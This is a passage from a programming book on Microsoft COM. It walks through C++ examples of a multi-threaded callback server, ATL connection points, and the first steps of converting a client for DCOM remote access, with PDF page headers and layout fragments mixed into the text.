The client calls Release on the ISimple-
Callback interface on the server.
CLIENT DIALOG
COM SERVER
A Multi-Threaded Server
203
Additonal Information and Updates: http://www.iftech.com/dcom
In the preceding example, we built a client and server
application. These two applications work together to demon-
strate all the basic points of a bi-directional callback interface.
Although informative, this isn’t a realistic example of how call-
backs are used.
The whole point of this exercise was to demonstrate how a
COM server can notify a client program that asynchronous
events occur. Unfortunately, when the client calls the Now()
method everything is blocked until it completes. We can solve
this problem with multi-threading.
A Multi-Threaded Server
Now that everything works, we’re going to add a worker thread
to the COM server. This worker thread allows the server to
accomplish lengthy processing without locking the client. When
the client application calls the COM server, it will kick-off a pro-
cessing thread and return immediately. This thread will run for
awhile, then notify the client that it’s finished.
Here’s the interaction:
The reference count to CSimpleCall-
back goes to 0. The server shuts
down.
ExitInstance calls CoUninitialize. The
client application closes.
Table 12.1
Interaction between client and server when using a callback
CLIENT DIALOG
COM SERVER
204 Chapter 12 •
Callback Interfaces
If you’ve done much multi-threaded programming, you
know what you’re in for. Creating a worker threads in Win32 is
quite easy - doing it right is not! Multi-threaded programming
can cause problems in thousands of ways that you never imag-
ined. Nevertheless, multi-threading provides some tremendous
benefits.
If you’re an experienced multi-threaded programmer, much
of the following material is obvious. I’ve described some of the
basics of threading for the benefit of those readers who need
some review. The only thing unique about this code is the inter-
thread marshaling used to pass a COM pointer.
CLIENT DIALOG
COM SERVER
User presses “LATER” button. Client
calls the Later() method on the ISim-
pleCallback interface.
Later method starts a worker thread. It
returns as soon as the thread starts.
The Later method finishes. The client
dialog waits for the next command.
Several seconds elapse...
The worker thread finishes process-
ing. It calls the Now() method on itself
(using the ISimpleCallback interface.)
The Now() method calls the Awake()
method on the client application.
Awake displays a message box. It
returns when the user presses OK.
The worker thread completes, and
shuts itself down.
The server waits for it’s next call.
Table 12.2
Multithreaded interaction with a callback
Starting the Worker Thread
205
Additonal Information and Updates: http://www.iftech.com/dcom
Starting the Worker Thread
The Later() method is going to launch a worker thread, then
return to caller. We’re going to use AfxBeginThread to start the
worker thread, and pass it a C++ object. This C++ object will
start COM, do some processing, and call a method back on the
main thread. Later() is called directly by the client, after the call-
back is registered. Here’s the code:
STDMETHODIMP CSimpleCallback::Later(long lSeconds)
{
HRESULT hr;
CWinThread *pt = NULL;// ID of created thread
IStream *pStream;// OLE Stream interface
ISimpleCallback *pSimple = NULL ;// Copy of this
// interface
// Query ourselves
hr = QueryInterface( IID_ISimpleCallback,
(void**)&pSimple);
if (!SUCCEEDED(hr)) return hr;
// Marshall an interface pointer in the stream
hr = CoMarshalInterThreadInterfaceInStream(
IID_ISimpleCallback,
pSimple,
&pStream );
if (!SUCCEEDED(hr)) return hr;
// Create a processing thread object
CWorkerThread *pObj = new CWorkerThread();
// Set object variables
pObj->m_pStream = pStream;
pObj->m_lWait = lSeconds;
// Create and start a thread to do
// some processing. Pass in a
// pointer to the thread object.
206 Chapter 12 •
Callback Interfaces
pt = AfxBeginThread( CWorkerThread::StartProc, pObj
);
if (pt == NULL) hr = E_FAIL;
// Release our reference to the interface.
pSimple->Release();
// Return to the calling client
return hr;
}
The first thing we’re going to do is get an interface pointer
to our ISimpleCallback object. We’ll use QueryInterface to get a
pointer to the interface. This interface pointer is going to get
passed to the worker thread so it can communicate back to us.
ISimpleCallback *pSimple = NULL ;
// Query ourselves
hr = QueryInterface( IID_ISimpleCallback,
(void**)&pSimple);
Marshaling the Interface Between Threads
When we start the worker thread, we’re immediately going to
have some tricky threading issues. This is an apartment-threaded
server, so the COM object and its worker thread are going to be
running in different apartments (i.e. threads).
One of the rules of COM is that interfaces must be mar-
shaled when used between threads. This means we can’t just use
a pointer to the COM interface, we’ve got to set up marshaling
code. This is something we haven’t done yet. Fortunately, there’s
a simple way to marshal interfaces. We’ll use the CoMarshalInter-
ThreadInterfaceInStream method.
hr = CoMarshalInterThreadInterfaceInStream(
IID_ISimpleCallback,
pSimple,
&pStream );
Starting the Worker Thread: Part 2
207
Additonal Information and Updates: http://www.iftech.com/dcom
We’re using IStream for inter-thread marshaling. The
IStream interface will be used to pass a COM pointer between
the main server thread, and our worker thread. IStream is one of
those ubiquitous OLE interfaces that you often see used in COM
code. The receiving end of this call will be CoGetInterfaceAn-
dReleaseStream, which will be called on the worker thread.
The end result of this process is an IStream object, that is
used to marshal the ISimpleCallback interface. Later on, we’re
going give a pointer to the IStream to our worker thread object.
If you want more information on streams, see any of the numer-
ous OLE books and articles.
Starting the Worker Thread: Part 2
First we’re going to instantiate our worker thread object. We’ll
show the definition of CWorkerThread in the next section. The
CWorkerThread class has two member variables. The IStream
pointer stores the IStream we created with CoMarshalInter-
ThreadInterface-InStream.
The m_lWait member is used to set the timeout period of
the worker thread. The worker thread will basically sleep this
amount of time before it notifies the client that it’s finished.
CWorkerThread *pObj = new CWorkerThread();
// Set object variables
pObj->m_pStream = pStream;
pObj->m_lWait = lSeconds;
// Create and start a thread to do
// some processing. Pass in a
// pointer to the thread object.
pt = AfxBeginThread( CWorkerThread::StartProc, pObj
);
if (pt == NULL) hr = E_FAIL;
208 Chapter 12 •
Callback Interfaces
One of the standard ways to start a thread in MFC is AfxBe-
ginThread. We’ll pass it a pointer to a static ThreadProc, and a
pointer to our worker thread object.
The main routine of a worker thread is called a “Thread-
Proc”. A ThreadProc is analogous to the “main” function of a “C”
program, or the “WinMain” of a Windows application. This is the
starting address of the newly created thread. We’ll name our
ThreadProc “StartProc”. Notice that the ThreadProc is a static
member of the CWorkerThread class. Being static is a require-
ment - AfxBeginThread will be given the address of this method.
AfxBeginThread starts a worker thread, and transfers control
to the ThreadProc. AfxBeginThread always passes in a single
parameter to the worker thread, a pointer. In this case, we’re
going to give the worker thread a pointer to our CWorkerThread
object. Let’s look at the definition of that object.
A Simple Worker Thread Class
We’re going to define a class that encapsulates the threading
behavior we need. This class is going to run as a worker thread,
which means it doesn’t have a window or a message loop. This
class will do its processing, then exit.
class CWorkerThread : public CwinThread
{
public:
// Thread start function. Must be static.
static UINT StartProc( LPVOID pParam );
// pointer to stream interface used in marshaling
pointer
IStream *m_pStream;
// number of seconds to wait
long m_lWait;
};
As you can see, this is a simple class definition. We’re going
to put all the thread’s processing logic into the one and only
Starting the Worker Thread: Part 2
209
Additonal Information and Updates: http://www.iftech.com/dcom
method - the ThreadProc. For more sophisticated processing,
you’ll need a more sophisticated thread class.
Implementing the Worker Thread
The worker thread only has a single method. This method will
do all the required calculations, then send a message back to the
client when it’s done. Here’s the one and only worker thread
method:
UINT CWorkerThread::StartProc( LPVOID pParam)
{
HRESULT hr;
// Get the object pointer
//we passed in to AfxBeginThread.
CWorkerThread *pThis = (CWorkerThread*)pParam;
// Pointer to parent COM object
ISimpleCallback *pSimple;
// init apartment model for this thread
hr = CoInitialize(0);
// Get marshaled interface from stream
hr = CoGetInterfaceAndReleaseStream(
pThis->m_pStream,
IID_ISimpleCallback,
(void**)&pSimple);
// DO SOME REAL PROCESSING HERE!
// Spoof processing with a sleep
Sleep( pThis->m_lWait * 1000);
// Signal client that processing is done.
hr = pSimple->Now( pThis->m_lWait );
// Note: This pointer will be
// marshaled from this worker thread
// back to the main server thread.
210 Chapter 12 •
Callback Interfaces
// The actual Now() method
// gets called from the main server thread.
// Shutdown com on this thread
CoUninitialize();
// Delete CWorkerThread object
delete pThis;
// ThreadProcs usually return 0
return 0;
}
The first thing the thread does is extract a pointer from the
startup parameter. Remember, this is a static method, and it
doesn’t have a “this” pointer. To work around this, we’ve passed
in a pointer to a CWorkerThread object that was previously
instantiated (on the other thread.) This gives a working context.
// Get the object pointer we passed
// in to AfxBeginThread.
CWorkerThread *pThis = (CWorkerThread*)pParam;
Next, we need to extract information from that object. The
first thing we’re going to use is the IStream interface that will
marshal our callback COM interface. CoGetInterfaceAndReleas-
eStream does exactly what its name implies: it extracts the ISim-
pleCallback interface from the stream, and cleans up the stream.
The end result of this call is a usable ISimpleCallback interface
pointer.
hr = CoInitialize(0);
// Get marshaled interface from stream
hr = CoGetInterfaceAndReleaseStream(
pThis->m_pStream,
IID_ISimpleCallback,
(void**)&pSimple);
The COM interface ISimpleCallback is safely marshaled
between threads. We can call its methods without fear of thread-
ing problems.
Summary
211
Additonal Information and Updates: http://www.iftech.com/dcom
Now, we get to the actual processing step of the worker
thread. Because this is an example program, there isn’t any real
processing. To simulate a time consuming operation, we’re going
to waste some time with a Sleep.
Sleep( pThis->m_lWait * 1000);
Once this wait is finished, the worker thread is ready to kill
itself. Before we exit, however, we need to tell the client pro-
gram we’re finished. This is done by calling the familiar Now()
method.
hr = pSimple->Now( pThis->m_lWait );
The ISimpleCallback interface was marshaled to the original
thread, so it will be executed on the server’s original thread. We
need to do this, because that main thread owns the client’s ICall-
Back interface. If we tried to call the Awake method directly, bad
things might happen. Instead of dealing with Awake directly,
we’re letting the Now() method handle it on the original server
object.
All Good Threads Eventually Die
What remains is just cleanup code. We close COM, delete the
worker thread object and exit the thread. At this point we’ve fin-
ished implementing our worker thread.
CoUninitialize();
delete pThis;
return 0;
Summary
Normally, COM interfaces are one-directional and synchronous.
More sophisticated programs are going to have to move beyond
this model. If you’re going to use COM to establish two-way
communication between client and server, you’re going to have
212 Chapter 12 •
Callback Interfaces
to deal with callbacks. The other alternative, Connection Points,
is really just a specialization of callbacks.
Implementing callbacks may seem unnecessarily compli-
cated - and it probably is. To effectively implement callbacks,
you have to have a basic understanding of threading models and
marshaling. Most of us are interested in building applications,
not the minutia of marshaling.
T
H
I
R
T
E
E
N
13
Connection Points
In the previous chapter, we built a client and server program that
demonstrated bi-directional, or callback, interfaces. Connection
points are really just a special type of callback interface. Actually,
for many applications, callbacks are the preferred type of bi-
directional interface.
What makes connection points special is the fact that they
offer a standardized technique and a set of interfaces for two-
way communications. Connection points aren’t so much a single
entity as they are a set of interlocking interfaces.
The main advantages of connection points over callbacks
are standardization and flexibility. In the OLE world, many types
of objects expect an implementation of connection points. An
example of this is IQuickActivate interface, which requires
IPropertyNotifySink as a sink interface. These objects need to
communicate back to their clients.
If you skipped the chapter on callbacks, consider going back and reading it. Most of the background on con-
nection points is covered in the callback chapter.
214 Chapter 13 •
Connection Points
Connection points offer flexibility in their implementation. A
server can have numerous client (sinks) attached, or a single cli-
ent can have numerous servers. Connection points work well
with either configuration. If your server design needs this flexi-
bility, connection points may be a good choice.
Here’s a list of connection point classes and interfaces we’ll
be using in the example.
Figure 13–1
Configuration of a server and client using connection points
Interface or class
Where
Description
IConnectionPointContainerImpl Server
ATL class to manage a collection
of connection points. The client
will use this interface to find the
connection point it needs.
IConnectionPointImpl
Server
ATL class to implement the con-
nectable object on the server.
This class allows the client to
register (Advise) and un-register
(UnAdvise) its sink objects. A
COM object may use this tem-
plate to implement multiple
Connection Points.
ICallBack
ICpTest
CallbackServer
CPClient
Client Application
CCpTest Object
IConnectionPointContainer
ICallBack
Container
IConnectionPoint
CCallBack
Object
Modifying the Callback Server
215
Additonal Information and Updates: http://www.iftech.com/dcom
You’ll notice that the ATL classes are named like interfaces.
Normally we would expect anything starting with an “I” to be an
interface, which is just a definition. The ATL code for these inter-
faces will provide a full implementation of the interface.
Modifying the Callback Server
Rather than writing a separate project to demonstrate connection
points, we’re going to modify the example programs from the
previous chapter. Connection points and callbacks are so similar
that we can re-use most of this example, while adding only those
parts necessary for connection points.
We’re going to use the same server we used for the callback
example. Open the CallbackServer project and do the following:
1. Insert a new ATL object using the "Insert/New ATL Object"
menu
2. Name the new object CpTest
3. Select Apartment Threading
CCallBack
Client
The callback object imple-
mented by the client. This is a
user-defined interface that the
sever can call to notify it of
important events.
ICallBack
Client
The callback interface.
CCpTest
Server
Our user-defined ATL object on
the server. This object imple-
ments connection points.
ICpTest
Server
The interface of the CCpTest
object.
_ICpTestEvents
Server
The connection points class cre-
ated by the ATL object wizard,
but not used. We used ICallBack
instead.
Table 13.1
Connection point classes and interfaces
Description here
216 Chapter 13 •
Connection Points
4. Select Custom Interface
5. Aggregation doesn’t matter
6. Check the "Support Connection Points" check box
7. Press the OK button and add the object
Selecting the "Support Connection Points" box added sev-
eral additional lines of code to the object definition. The server
class is defined in the file CpTest.h. -- look in this file for the def-
initions added by the wizard. Here’s the class definition:
class ATL_NO_VTABLE CCpTest :
public CComObjectRootEx<CComSingleThreadModel>,
public CComCoClass<CCpTest, &CLSID_CpTest>,
public IConnectionPointContainerImpl<CCpTest>,
public IConnectionPoinImpl<CCpTest,&IID_ICallBack>,
public ICpTest
...
The ATL template class IConnectionPointContainerImpl was
included in the multiple inheritance of CCpTest. This class is a
container to manage a list of connection points. You can use
IConnectionPointContainerImpl to find a specific connection
point attached to the server.
The wizard also added the container object to the COM map
of CCpTest. The other interface in this map is, of course, the
ICpTest interface.
BEGIN_COM_MAP(CCpTest)
COM_INTERFACE_ENTRY(ICpTest)
COM_INTERFACE_ENTRY(IConnectionPointContainer)
END_COM_MAP()
The ATL Object wizard added a Connection Point Map to
the object. Initially, the map is empty. We will add entries to it
later. A server object can support numerous different connection
point types. This means a single server object can support con-
nection points to many different types of client sink objects.
These will be listed in the connection point map.
Modifying the Callback Server
217
Additonal Information and Updates: http://www.iftech.com/dcom
The wizard also added the actual connection point to the
class inheritance. Each connection point object is explicitly tied
to a sink interface on the client. In this case, we’re going to use
the ICallBack interface. This is exactly the same interface we
used for the callback example, has already been implemented by
the client.
The wizard doesn’t add everything we need. We’re going to
add the individual connection points to the object. Much of this
code is just boilerplate. We will explain it briefly, but the only
way to understand it is to see how it all fits together.
The actual connection point class is an ATL template ICon-
nectionPointImpl.
public IConnectionPointImpl<CCpTest,&IID_ICallBack>,
The client sink interface we just added must also be put in
the object’s connection point map. This allows the container
(IConnectionPointContainer) object to use the callback. The map
needs the GUID of the interface on the client.
BEGIN_CONNECTION_POINT_MAP(CCpTest)
CONNECTION_POINT_ENTRY( IID_ICallBack )
END_CONNECTION_POINT_MAP()
The last thing we need to add is the test methods. This isn’t
part of the actual connection point set up, but we’ll need it for
the demonstration. We will add them as two standard COM
methods to CCpTest. We will add the MIDL definition, and the
definition to the header file.
Thefollowing lines go in the definition of ICpTest interface
(in the file CallbackServer.IDL). You can use either the "Add
Method" from the class view, or type it directly into the IDL:
HRESULT Now2([in] long lCode);
HRESULT Later2([in] long lSeconds);
Each method has one parameter - it will be called by the cli-
ent to exercise the connection points we are implementing. The
218 Chapter 13 •
Connection Points
last step is to put the matching definition the C++ header
(CpTest.H).
public:
STDMETHOD(Later2)(/*[in]*/ long lSeconds);
STDMETHOD(Now2)(/*[in]*/ long lCode);
Here is the completed listing, with the required objects
inserted. The new code for connection points is in bold.
///////////////////////////////////////////////
class ATL_NO_VTABLE CCpTest :
public CComObjectRootEx<CComSingleThreadModel>,
public CComCoClass<CCpTest, &CLSID_CpTest>,
public IConnectionPointContainerImpl<CCpTest>,
public IConnectionPointImpl<CCpTest,&IID_ICallBack>,
public ICpTest
{
public:
CCpTest()
{
}
DECLARE_REGISTRY_RESOURCEID(IDR_CPTEST)
DECLARE_PROTECT_FINAL_CONSTRUCT()
BEGIN_COM_MAP(CCpTest)
COM_INTERFACE_ENTRY(ICpTest)
COM_INTERFACE_ENTRY(IConnectionPointContainer)
END_COM_MAP()
BEGIN_CONNECTION_POINT_MAP(CCpTest)
// Client callback (sink) object
CONNECTION_POINT_ENTRY( IID_ICallBack )
END_CONNECTION_POINT_MAP()
// ICpTest
public:
STDMETHOD(Later2)(/*[in]*/ long lSeconds);
STDMETHOD(Now2)(/*[in]*/ long lCode);
};
Modifying the Callback Server
219
Additonal Information and Updates: http://www.iftech.com/dcom
The implementation of Now2() will be covered a little later.
This method is going to be quite different from its equivalent in
the callback test. The Later2() method will be functionally identi-
cal to the callback example. It will only be necessary to change
the name of the interface from ISimpleCallback to ICpTest. After
the client has been explained, we will cover this code.
Now we have the infrastructure for the connection points
on the server. Most of it was added by clicking the "Support Con-
nection Points" option in the ATL wizard. Note that the wizard
also added the following interface to the IDL code:
dispinterface _ICpTestEvents
{
properties:
methods:
};
We’re not going to use this interface in our example. This is
the suggested name for the callback interface that the connection
points will support. We are going to substitute our ICallBack
interface. The wizard also added the following code to the defi-
nition of the CpTest object in the IDL code:
[default, source] interface _ICpTestEvents;
Replace _ICpTestEvents with the ICallBack interface. The
code should now look like this:
[
uuid(A47ED662-5531-11D2-85DA-004095424D9A),
helpstring("CpTest Class")
]
coclass CpTest
{
[default] interface ICpTest;
[default, source] interface ICallBack;
};
220 Chapter 13 •
Connection Points
The "[source]" attribute in the IDL code tells COM that the
CpTest coclass is the source of ICallBack events. In other words,
this object will be calling the client’s ICallBack interface. The
source keyword doesn’t seem to have any actual effect on the
behavior of the interface.
Adding Connection Points to the Client Program
The connection point client program is going to be very similar
to the callback client. You can either modify the existing Call-
backClient project, or create a new project named CpClient. I’ve
added a new project, and cloned much of the code from the call-
back example.
1. Create a new MFC project.
2. Choose a Dialog Application
Now, edit the dialog to look like this:
Figure 13–2
The sample application is an extremely simple dialog
Note: Build the server, and don’t forget to build the Proxy/Stub DLL. Use the BuildMe.bat file to automate
this task. We’ll add the Now2 and Later2 implementation later, but the MIDL code won’t change. The test
client requires these MIDL generated headers.
Adding Connection Points to the Client Program
221
Additonal Information and Updates: http://www.iftech.com/dcom
Add the following controls and events through the Class-
Wizard:
1. Name
the
two
buttons
IDC_BUTTON_NOW,
and
IDC_BUTTON_LATER.
2. Attach the methods OnButtonNow() and OnButtonLater().
This dialog is functionally identical to the callback example.
Add the Callback Object to the Client
Add the callback object to this project. This object is identical to
the callback object in the CallbackServer project. Cut and paste
the definition of CCallBack into the CPClient.cpp source file.
Also remember to include the "CallbackServer_i.c", and "h" file
from the server.
Note that there is absolutely no difference between the call-
back object used for callbacks, and for connection points. This
sink object will behave identically, and will be called by the
server (source) in an identical way.
Modifying the CpClient Application
We’re now going to add initialization and shutdown code to the
main application class, CCpClientApp.
BOOL CCPClientApp::InitInstance()
{
AfxEnableControlContainer();
InitCOM();
// Standard initialization
...
Add the InitCOM function to the class header. Enter the fol-
lowing code. Note that this is now identical to the CallbackClient
application. We’re adding the InitCP method, instead of calling
Advise directly.
BOOL CCPClientApp::InitCOM()
{
222 Chapter 13 •
Connection Points
HRESULT hr;
CoInitialize(0); // Initialize COM
// Initialize the main ATL object
_Module.Init( ObjectMap, 0 );
// Create a server object
m_pCP = NULL;
hr = CoCreateInstance( CLSID_CpTest,
0, CLSCTX_SERVER,IID_ICpTest,
(void**)&m_pCP );
ASSERT( SUCCEEDED(hr) );
if (SUCCEEDED(hr))
{
// Create a callback object
CComObject<CCallBack>* pCallBack = NULL;
CComObject<CCallBack>::CreateInstance(
&pCallBack );
pCallBack->AddRef();
InitCP( pCallBack );
// Done with our ref count. Server did an AddRef
pCallBack->Release();
}
return SUCCEEDED(hr);
}
Initializing connection points is going to take some extra
code, so we’ve isolated it in a separate method. I’ve covered the
rest of this code in the previous chapter.
Registering With the Server’s Connection Point
Interface
We’re now going to interrogate the server COM object for infor-
mation about its connection points implementation. The InitCP
method was designed to do double duty. It is able to both regis-
ter and unregister with the server’s connection point interfaces.
Registering With the Server’s Connection Point Interface
223
Additonal Information and Updates: http://www.iftech.com/dcom
This method will be called both from InitCOM, and from ExitIn-
stance; ExitInstance will pass a NULL pCallBack pointer. InitCP is
a new method so you must add the definition to the CCpClien-
tApp class (in CpClient.h).
HRESULT CCPClientApp::InitCP(IUnknown* pCallBack)
{
HRESULT hr;
IConnectionPointContainer *pConnPtCont;
IConnectionPoint * pConnPt;
// Get a pointer to the
// connection point manager object
hr = m_pCP->QueryInterface(
IID_IConnectionPointContainer,
(void**)&pConnPtCont);
ASSERT( SUCCEEDED(hr) ); // crash if failed
if (SUCCEEDED(hr))
{
// This method is the QueryInterface
// equivalent for an outgoing
// interfaces. See if the server supports
// connection points to our callback interface
hr = pConnPtCont->FindConnectionPoint(
IID_ICallBack, &pConnPt);
ASSERT( SUCCEEDED(hr) ); // crash if failed
// Release the container object
pConnPtCont->Release();
if (SUCCEEDED(hr))
{
// Register the Connection Point
if (pCallBack != NULL)
{
// Establish connection between
// server and callback object
hr = pConnPt->Advise(pCallBack, &m_lCookie);
}
else // Remove the Connection Point
224 Chapter 13 •
Connection Points
{
// Remove connection
hr = pConnPt->Unadvise(m_lCookie);
}
// Release connection point object
pConnPt->Release();
}
}
return hr;
}
We start the function by getting a pointer to the server’s
IConnectionPointContainer interface. This interface points to the
object that the server uses to keep track of its connection points.
Since we already have a pointer to the ICpTest interface, we can
use QueryInterface().
IConnectionPointContainer *pConnPtCont;
// Get a pointer to the connection
// point manager object
hr = m_pCP->QueryInterface(
IID_IConnectionPointContainer,
(void**)&pConnPtCont);
Now we can ask the connection point container for a spe-
cific type of connection point. In this case, we want one that
handles the ICallBack interface that our client implements. Call-
ing FindConnectionPoint() on the container will give us the call-
back interface. Once we have the connection point object, we’re
done with the container, so it is released. Since we wrote the
server object, we can be pretty sure it supports the ICallBack
callback interface.
hr = pConnPtCont->FindConnectionPoint(
IID_ICallBack, &pConnPt);
// Release the container object
pConnPtCont->Release();
Registering With the Server’s Connection Point Interface
225
Additonal Information and Updates: http://www.iftech.com/dcom
If we call InitCP with an ICallBack interface pointer, we are
registering the sink object with the server. If a NULL pointer is
passed in, the sink object will be un-registered. Calling Advise()
on the server object registers the sink object. Advise is imple-
mented in the ATL class IConnectionPointImpl. It is very similar
to the Advise() method we wrote for our custom callback. On
the server, Advise makes a copy of the sink interface, and returns
a unique cookie to identify it. Once Advise has been called, we
can release the sink object we passed it.
if (pCallBack != NULL)
{
// Establish connection between
// server and callback object
hr = pConnPt->Advise(pCallBack, &m_lCookie);
}
The mirror image method for Advise() is Unadvise(). This
method will remove the sink object from the server’s list of con-
nection points. Unadvise() checks the cookie, and terminates the
connection. This code will be called when InitCP is called from
ExitInstance.
else // Remove the Connection Point
{
// Remove connection
hr = pConnPt->Unadvise(m_lCookie);
}
Add the ExitInstance method to the CPClientApp applica-
tion. This method is called when the application shuts down:
int CCPClientApp::ExitInstance()
{
// If we have a server object, release it
if (m_pCP != NULL)
{
// Remove servers callback connection
InitCP(NULL);
// Release the server object
226 Chapter 13 •
Connection Points
m_pCP->Release();
}
// Shut down this COM apartment
CoUninitialize();
return 0;
}
Adding the Now and Later Buttons
Enter the following code for the Now and Later buttons. This
code is functionally identical to the CallbackClient program. It is
added to the application’s main dialog class, CCPClientDlg.
void CCPClientDlg::OnButtonNow()
{
HRESULT hr;
CCPClientApp *pApp = (CCPClientApp*)AfxGetApp();
hr = pApp->m_pCP->Now2(1);
if (!SUCCEEDED(hr)) AfxMessageBox( "Call Failed" );
}
void CCPClientDlg::OnButtonLater()
{
HRESULT hr;
CCPClientApp *pApp = (CCPClientApp*)AfxGetApp();
hr = pApp->m_pCP->Later2(5);
if (!SUCCEEDED(hr)) AfxMessageBox( "Call Failed" );
}
We’ve now completed the client application. Let’s go back
and implement the Now2() method on the server.
Using the Connection Point - the Server Side
So far, on the server, we’ve added a connection point map and a
connection point object. Just adding these objects really doesn’t
give much insight on how to use them.
Using the Connection Point - the Server Side
227
Additonal Information and Updates: http://www.iftech.com/dcom
At some point in the execution of the server, it will need to
make a call back to the client. Normally, this will be in response
to some triggering event. Here’s the implementation code.
STDMETHODIMP CCpTest::Now2(long lCode)
{
HRESULT hr = S_FALSE;
// Lock the object
Lock();
// Get first element in CComDynamicUnkArray.
// m_vec is a member of IConnectionPointImpl
IUnknown** pp = m_vec.begin();
ICallBack* pICp = (ICallBack*)*pp;
if (pICp)
{
// Call method on client
hr = pICp->Awake( lCode );
}
// Unlock the object
Unlock();
return hr;
}
The first thing this method does is lock the COM object.
This takes ownership of the critical section protecting the mod-
ule. Lock is implemented in the ATL CComObjectRootEx base
class. Lock is paired with the Unlock() at the end of the method.
Our COM object inherited from the ATL class IConnection-
PointImpl, which contains a list of connection points. The vari-
able m_vec is of type CComDynamicUnkArray, which holds a
dynamically allocated array of IUnknown pointers.
Before this method is called, the client has done a consider-
able amount of set-up. Recall that the client called Advise() on
the connection point container. When Advise() was executed, it
made a copy of the client sink interface. This is the interface
saved in m_vec.
228 Chapter 13 •
Connection Points
Because we only have one connected client sink, we get the
first pointer in the m_vec array. We call Awake() on the client
sink object. The result of this is that Awake() gets called on the
client process, causing a message box to display. Not a very
impressive result for all the work we’ve had to do.
Adding the Later2 Method
The implementation of the Later2 method is identical to the Later
method in the ISimpleCallback object. Just cut-and-paste this
code, changing only the name of the interface. The worker
thread will behave identically. When the worker thread calls the
Now2 method, it will properly navigate the connection point
map. If you had registered multiple callback interfaces, you
would iterate through the m_vec collection.
Summary
The implementation of our connection point example was
mostly a cut-and-paste modification of the callback example. The
few lines of code that are different handle the navigation of the
ATL connection point container classes.
One reason to implement connection points is the fact that
you are working with OLE clients (such IQuickActivate with
IPropertyNotifySink). Or, if you are handling multiple sink (call-
back) objects, connection points may make your life easier. Both
callbacks and connection points do approximately the same
thing, and implementing one or the other can add a lot of func-
tionality to your servers.
F
O
U
R
T
E
E
N
14
Distributed COM
So far we haven’t ventured very far away from our computer. All
the COM examples so far have been for clients and servers run-
ning on the same machine. In this section we’ll discuss how to
extend our range into the area of DCOM and distributed comput-
ing.
There is some good and bad news here. The good news is
that converting from COM to DCOM is easy. The bad news:
there are many more things that can go wrong. Foremost among
these problems are security issues.
An Overview of Remote Connections
Most of the differences between COM and DCOM are hidden
from the developer. For example, local COM uses LPCs (Local
Procedure Calls), and DCOM uses RPCs (Remote Procedure
Calls). As a programmer you would never notice the difference,
except that RPCs are slower. There’s also a whole new level of
security and remote activation going on. There are only a few
things in your program you’ll need to change.
Like all COM communication, everything starts when the cli-
ent requests an interface from a server. In DCOM, the client calls
230 Chapter 14 •
Distributed COM
CoCreateInstanceEx(), passing in a description of the server
computer, and requesting a CLSID and Interface.
This request is handled by the Service Control Manager
(SCM), which is a part of Windows. The SCM is responsible for
the creation and activation of the COM object on the server com-
puter. In the case of DCOM, the SCM will attempt to create the
object on the remote computer.
Once the remote COM object has been created, all calls will
be marshaled through the Proxy and Stub objects. The proxy and
stub communicate using RPCs (Remote Procedure Calls) as a
mechanism. RPCs will handle all the network interaction. On the
server side, marshaling is taken care of by the stub object.
The transmittal of data across the network is taken care of
by RPCs. RPCs can run on a number of protocols, including TCP/
IP, UDP, NetBEUI, NetBIOS, and named pipes. The standard RPC
protocol is UDP (User Datagram Protocol). UDP is a connection-
less protocol, which seems like a bad fit for a connection-ori-
ented system like DCOM. This isn’t a problem however, because
RPCs automatically take care of connections.
At the time of writing, only TCP/IP was available on Win-
dows 95. This can be an annoying limitation, requiring you to
install TCP/IP on all Windows 95 systems, even when other net-
work protocols are available.
Figure 14–1
Components of clients and servers in when using Distributed
COM
Client Program
Proxy Object
Network Protocol Stack
SCM
RPC
Security
Hardware
COM
Object
Stub Object
Network Protocol Stack
SCM
RPC
Security
Hardware
CoCreateInstanceEx(
)
Network
Client
Computer
Server
Computer
CoCreateInstanceEx(
)
Converting a Client for Remote Access
231
Additonal Information and Updates: http://www.iftech.com/dcom
Perhaps the single most frustrating aspect of DCOM is secu-
rity. Windows 95/98 doesn’t have enough security, while Win-
dows NT seems to have too much. As always, NT security is a
complex and specialized field. There are various levels and lay-
ers of security. Our examples will only cover the most basic
uses. On a large network, it’s almost guaranteed that you’ll
spend time handling security issues for your distributed applica-
tions.
Converting a Client for Remote Access
There are two ways to connect to a remote server. You can make
slight changes to your program, or you can change the server
registration. Of these two, changing the program is the better
choice. Once the program is converted to work remotely, it will
work locally without any changes.
Changing the server registration is also a possibility. You can
put the remote connection in the registry, and COM will auto-
matically make the connection. We’ll cover this topic later.
There’s very little programming required to make a client
work with remote connections. When you create the remote
COM object you need to specify a COSERVERINFO structure.
You’ll notice that CoCreateInstance() doesn’t have a place for
this structure, so you’ll have to use CoCreateInstanceEx() instead.
The COSERVERINFO structure should be set to zero, except
for the pwszName member, which points to the server name.
This isn’t as easy as it may seem. The pwszName member is a
wide character (UNICODE) string. If you’re not already using
wide characters, you’ll need to convert a string to wide charac-
ters. There are a number of ways to do this:
• Use the mbtowc() function. This string converts a multi-
byte (char*) string to a wide string.
• Use the CString.AllocSysString() method.
• Use the SysAllocString and SysFreeString API.
Here is one way to accomplish this conversion:
CString strServer = “ComputerX”;
232 Chapter 14 •
Distributed COM
// Remote server info
COSERVERINFO cs;
// Init structures to zero
memset(&cs, 0, sizeof(cs));
// Allocate the server name in
// the COSERVERINFO structure
cs.pwszName = strServer.AllocSysString();
The server name is usually going to be a standard UNC (uni-
versal naming convention) name. This would take the form of
"server", or "\\server". You can also use DNS names, with the
format of "www.someserver.com", or "server.com". A third
option is to specify a TCP/IP address here, e.g. "123.55.5.0". This
name will have to be compatible with your network transport.
The CoCreateInstanceEx() function takes different parame-
ters than its precursor, CoCreateInstance(). Specifically, this
extended function takes the COSERVERINFO as its 4th argument.
You can still use this call for local connections. Just pass in a
NULL for the COSERVERINFO pointer.
Perhaps the most interesting difference is the last two
parameters.
For remote connections we obtain interface pointers a little
differently than we do for local connections. CoCreateInstan-
ceEx() takes an array of MULTI_QI structures instead of a plain
IUnknown pointer. The MULTI_QI structure receives an array of
interface pointers. This is done to reduce the number of calls to
CoCreateInstance() across the network. The designers of DCOM
did this in recognition of the fact that network performance can
be slow.
The MULTI_QI structure has the following members:
typedef struct _MULTI_QI {
const IID* pIID; // Pointer to an interface identifier
IUnknown * pItf; // Returned interface pointer
HRESULT hr; // Result of the operation
} MULTI_QI;
You pass in an array of these structures. Each element of the
array is given an Interface ID (IID) of an interface. If the function
Converting a Client for Remote Access
233
Additonal Information and Updates: http://www.iftech.com/dcom
succeeds, you’ll get back a pointer to the interface in pItf. If
there is an error, the hr member will receive the error code.
Here’s how to initialize the MULTI_QI structure. You can
make the array any size required (often it is just one element
long):
